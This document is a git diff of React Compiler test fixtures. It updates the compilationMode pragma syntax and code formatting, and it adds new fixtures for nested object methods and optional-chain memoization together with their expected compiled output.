@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
-React.memo((props) => {
+// @compilationMode:"infer"
+React.memo(props => {
   return <div />;
 });
 
@@ -12,7 +12,7 @@ React.memo((props) => {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 React.memo((props) => {
   const $ = _c(1);
   let t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.js
index 1f2a7718ff25..d9e1eaf31aaf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-React-memo.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
-React.memo((props) => {
+// @compilationMode:"infer"
+React.memo(props => {
   return <div />;
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.expect.md
index 92948754c861..c183bf949cc5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
-const Component = (props) => {
+// @compilationMode:"infer"
+const Component = props => {
   return <div />;
 };
 
@@ -12,7 +12,7 @@ const Component = (props) => {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 const Component = (props) => {
   const $ = _c(1);
   let t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.js
index 26ffccd3cfa9..c12f61d18fef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-assignment.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
-const Component = (props) => {
+// @compilationMode:"infer"
+const Component = props => {
   return <div />;
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-React-memo-gating.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-React-memo-gating.expect.md
deleted file mode 100644
index 91d4fc15fbf2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-React-memo-gating.expect.md
+++ /dev/null
@@ -1,38 +0,0 @@
-
-## Input
-
-```javascript
-// @gating @compilationMode(infer)
-import React from "react";
-export default React.forwardRef(function notNamedLikeAComponent(props) {
-  return <div />;
-});
-
-```
-
-## Code
-
-```javascript
-import { isForgetEnabled_Fixtures } from "ReactForgetFeatureFlag";
-import { c as _c } from "react/compiler-runtime"; // @gating @compilationMode(infer)
-import React from "react";
-export default React.forwardRef(
-  isForgetEnabled_Fixtures()
-    ? function notNamedLikeAComponent(props) {
-        const $ = _c(1);
-        let t0;
-        if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-          t0 = <div />;
-          $[0] = t0;
-        } else {
-          t0 = $[0];
-        }
-        return t0;
-      }
-    : function notNamedLikeAComponent(props) {
-        return <div />;
-      },
-);
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-React-memo-gating.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-React-memo-gating.js
deleted file mode 100644
index 544d782703a2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-React-memo-gating.js
+++ /dev/null
@@ -1,5 +0,0 @@
-// @gating @compilationMode(infer)
-import React from "react";
-export default React.forwardRef(function notNamedLikeAComponent(props) {
-  return <div />;
-});
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.expect.md
index 24a7050c6862..49886e0ac3c3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 
 const Component = function ComponentName(props) {
   return <Foo />;
@@ -13,7 +13,7 @@ const Component = function ComponentName(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 
 const Component = function ComponentName(props) {
   const $ = _c(1);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.js
index 7fe4c9c0cc9c..deac307a3b1c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-expression-component.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 
 const Component = function ComponentName(props) {
   return <Foo />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.expect.md
index 5928cf82dd1c..ca1d6e433606 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
-React.forwardRef((props) => {
+// @compilationMode:"infer"
+React.forwardRef(props => {
   return <div />;
 });
 
@@ -12,7 +12,7 @@ React.forwardRef((props) => {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 React.forwardRef((props) => {
   const $ = _c(1);
   let t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.js
index a76331fba71b..f2b458df8d26 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-function-forwardRef.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
-React.forwardRef((props) => {
+// @compilationMode:"infer"
+React.forwardRef(props => {
   return <div />;
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.expect.md
index 51c9a14abf5f..d92f1a6c4504 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component(props) {
   const [state, _] = useState(null);
   return [state];
@@ -13,7 +13,7 @@ function Component(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 function Component(props) {
   const $ = _c(2);
   const [state] = useState(null);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.js
index 791542cb3401..57c03cd222a2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-hook-call.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component(props) {
   const [state, _] = useState(null);
   return [state];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.expect.md
index 96cae6ee6ac2..ed175c61abce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component(props) {
   return <div />;
 }
@@ -12,7 +12,7 @@ function Component(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 function Component(props) {
   const $ = _c(1);
   let t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.js
index bb552b5f2a1e..73607ce519cc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-jsx.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component(props) {
   return <div />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.expect.md
index c19248a0c079..5f3da3fd8e43 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 
 function Foo({}, ref) {
   return <div ref={ref} />;
@@ -18,7 +18,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 
 function Foo(t0, ref) {
   const $ = _c(2);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.js
index aaf949252894..cefd53b1231e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-component-with-ref-arg.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 
 function Foo({}, ref) {
   return <div ref={ref} />;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.expect.md
index d1ed626a9796..a94055469af6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function useStateValue(props) {
   const [state, _] = useState(null);
   return [state];
@@ -13,7 +13,7 @@ function useStateValue(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 function useStateValue(props) {
   const $ = _c(2);
   const [state] = useState(null);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.js
index ed90449f3681..7191fe6cb047 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-hook-call.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function useStateValue(props) {
   const [state, _] = useState(null);
   return [state];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.expect.md
index dfc6fdbc2eb9..3f4c0a017395 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function useDiv(props) {
   return <div />;
 }
@@ -12,7 +12,7 @@ function useDiv(props) {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
 function useDiv(props) {
   const $ = _c(1);
   let t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.js
index 3453fc828638..2fef05df39fc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-functions-hook-with-jsx.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function useDiv(props) {
   return <div />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.expect.md
index 3bed7f64f15b..319777120f3c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity, sum } from "shared-runtime";
+import {identity, sum} from 'shared-runtime';
 
 // Check that we correctly resolve type and effect lookups on the javascript
 // global object.
@@ -15,12 +15,12 @@ function Component(props) {
   // Even though we don't know the function signature of sum,
   // we should be able to infer that it does not mutate its inputs.
   sum(primitiveVal1, primitiveVal2, primitiveVal3);
-  return { primitiveVal1, primitiveVal2, primitiveVal3 };
+  return {primitiveVal1, primitiveVal2, primitiveVal3};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   isComponent: false,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.js
index cb722c40d184..8529535b75a6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-global-object.js
@@ -1,4 +1,4 @@
-import { identity, sum } from "shared-runtime";
+import {identity, sum} from 'shared-runtime';
 
 // Check that we correctly resolve type and effect lookups on the javascript
 // global object.
@@ -11,11 +11,11 @@ function Component(props) {
   // Even though we don't know the function signature of sum,
   // we should be able to infer that it does not mutate its inputs.
   sum(primitiveVal1, primitiveVal2, primitiveVal3);
-  return { primitiveVal1, primitiveVal2, primitiveVal3 };
+  return {primitiveVal1, primitiveVal2, primitiveVal3};
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.expect.md
new file mode 100644
index 000000000000..7ac27ab8144a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer"
+
+import {Stringify} from 'shared-runtime';
+
+function Test() {
+  const context = {
+    testFn() {
+      // if it is an arrow function its work
+      return () => 'test'; // it will break compile if returns an arrow fn
+    },
+  };
+
+  return <Stringify value={context} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
+
+import { Stringify } from "shared-runtime";
+
+function Test() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const context = {
+      testFn() {
+        return _temp;
+      },
+    };
+    t0 = <Stringify value={context} shouldInvokeFns={true} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp() {
+  return "test";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":{"testFn":{"kind":"Function","result":{"kind":"Function","result":"test"}}},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.jsx
new file mode 100644
index 000000000000..cb9d22a9f1a3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-nested-object-method.jsx
@@ -0,0 +1,19 @@
+// @compilationMode:"infer"
+
+import {Stringify} from 'shared-runtime';
+
+function Test() {
+  const context = {
+    testFn() {
+      // if it is an arrow function its work
+      return () => 'test'; // it will break compile if returns an arrow fn
+    },
+  };
+
+  return <Stringify value={context} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.expect.md
index d47c57d0d63d..0472063a7c72 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
-import { useIdentity, identity } from "shared-runtime";
+// @expectNothingCompiled @compilationMode:"infer"
+import {useIdentity, identity} from 'shared-runtime';
 
 function Component(fakeProps: number) {
   const x = useIdentity(fakeProps);
@@ -20,7 +20,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 import { useIdentity, identity } from "shared-runtime";
 
 function Component(fakeProps: number) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.ts
index 425c2f7fadb0..0fed61606004 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-annot.ts
@@ -1,5 +1,5 @@
-// @compilationMode(infer)
-import { useIdentity, identity } from "shared-runtime";
+// @expectNothingCompiled @compilationMode:"infer"
+import {useIdentity, identity} from 'shared-runtime';
 
 function Component(fakeProps: number) {
   const x = useIdentity(fakeProps);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.expect.md
index adb9a1da40ea..2f7e63d7712d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 function Component(props) {
   const result = f(props);
   function helper() {
@@ -26,7 +26,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 function Component(props) {
   const result = f(props);
   function helper() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.js
index 9d9e070ca980..c4b75bd0585a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-nested-jsx.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 function Component(props) {
   const result = f(props);
   function helper() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.expect.md
index 0edadfae9cca..9e442088d49b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 function Component(props) {
   const ignore = <foo />;
-  return { foo: f(props) };
+  return {foo: f(props)};
 }
 
 function f(props) {
@@ -22,7 +22,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 function Component(props) {
   const ignore = <foo />;
   return { foo: f(props) };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.js
index de3d8434494a..f8b44e8abf91 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-no-component-obj-return.js
@@ -1,7 +1,7 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 function Component(props) {
   const ignore = <foo />;
-  return { foo: f(props) };
+  return {foo: f(props)};
 }
 
 function f(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.expect.md
index 4f1fb2d49299..f8e74b37dda2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const x = makeObject();
   const y = delete x.value;
@@ -13,6 +14,7 @@ function Component(props) {
 ## Code
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const x = makeObject();
   const y = delete x.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.js
index b8540044449b..1dd4bd710e03 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-property-delete.js
@@ -1,3 +1,4 @@
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component(props) {
   const x = makeObject();
   const y = delete x.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.expect.md
new file mode 100644
index 000000000000..f415c20528bf
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.expect.md
@@ -0,0 +1,71 @@
+
+## Input
+
+```javascript
+function useFoo({a}) {
+  let x = [];
+  x.push(a?.b.c?.d.e);
+  x.push(a.b?.c.d?.e);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: null},
+    {a: {}},
+    {a: {b: {c: {d: {e: 42}}}}},
+    {a: {b: {c: {d: {e: 43}}}}},
+    {a: {b: {c: {d: {e: undefined}}}}},
+    {a: {b: undefined}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a } = t0;
+  let x;
+  if ($[0] !== a.b.c.d.e) {
+    x = [];
+    x.push(a?.b.c?.d.e);
+    x.push(a.b?.c.d?.e);
+    $[0] = a.b.c.d.e;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: null }],
+  sequentialRenders: [
+    { a: null },
+    { a: null },
+    { a: {} },
+    { a: { b: { c: { d: { e: 42 } } } } },
+    { a: { b: { c: { d: { e: 43 } } } } },
+    { a: { b: { c: { d: { e: undefined } } } } },
+    { a: { b: undefined } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
+[42,42]
+[43,43]
+[null,null]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.ts
new file mode 100644
index 000000000000..479048085e92
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/infer-sequential-optional-chain-nonnull.ts
@@ -0,0 +1,20 @@
+function useFoo({a}) {
+  let x = [];
+  x.push(a?.b.c?.d.e);
+  x.push(a.b?.c.d?.e);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: null}],
+  sequentialRenders: [
+    {a: null},
+    {a: null},
+    {a: {}},
+    {a: {b: {c: {d: {e: 42}}}}},
+    {a: {b: {c: {d: {e: 43}}}}},
+    {a: {b: {c: {d: {e: undefined}}}}},
+    {a: {b: undefined}},
+  ],
+};
